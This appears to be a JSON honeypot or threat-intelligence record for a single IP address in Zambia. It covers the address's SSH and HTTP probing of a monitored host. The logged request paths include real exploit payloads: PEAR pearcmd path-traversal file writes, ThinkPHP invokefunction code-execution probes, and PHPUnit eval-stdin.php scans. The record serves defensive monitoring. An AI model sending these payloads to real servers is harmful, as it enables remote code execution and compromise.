{"ip":"41.63.63.211","first_seen":"2026-08-01T03:42:09.285331Z","last_seen":"2026-08-20T01:22:55.688Z","geo":{"country":"Zambia","country_code":"ZM","city":"Lusaka","asn":"AS37532 Zambia Research and Education Network (ZAMREN)","isp":"Zambia Research and Education Network","lat":-15.3875,"lon":28.3228},"stats":{"total_events":47,"ssh_events":2,"http_events":45,"ssh_failures":2,"http_4xx":45,"http_5xx":0,"distinct_usernames":2,"distinct_paths":45,"distinct_source_hosts":2},"behavior_tags":["actor.cross_protocol","actor.multi_vm","cluster.shared_paths","probe.404flood"],"event_tags":["probe.admin","probe.cgi","probe.shell","probe.traversal","protocol.no-language","ssh.dictionary","ssh.enum"],"recent_events":[{"ts":"2026-08-20T01:22:55.688Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/containers/json","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:55.151Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/index.php?lang=../../../../../../../../tmp/index1","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":["probe.traversal","protocol.no-language","probe.traversal"]},{"ts":"2026-08-20T01:22:54.623Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd\u0026+config-create+/\u0026/\u003c?echo(md5(\"hi\"));?\u003e+/tmp/index1.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":["probe.traversal","protocol.no-language","probe.traversal"]},{"ts":"2026-08-20T01:22:54.138Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/public/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=Hello","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:53.629Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/index.php?s=/index/\\think\\app/invokefunction\u0026function=call_user_func_array\u0026vars[0]=md5\u0026vars[1][]=Hello","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:53.105Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:52.47Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:52.099Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:51.591Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:50.988Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:50.555Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:50.231Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:49.739Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":["probe.admin"]},{"ts":"2026-08-20T01:22:49.339Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:48.955Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:48.391Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:48.001Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:47.475Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:47.027Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:46.514Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:46.024Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:45.385Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:45.052Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:44.392Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]},{"ts":"2026-08-20T01:22:43.969Z","source":"http","category":"request","severity":"warn","method":"GET","uri":"/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","status":404,"host_app":"18.196.101.57:80","source_host":"aws-euc1","tags":[]}],"generated_at":"2026-08-25T17:50:26.461302413Z"}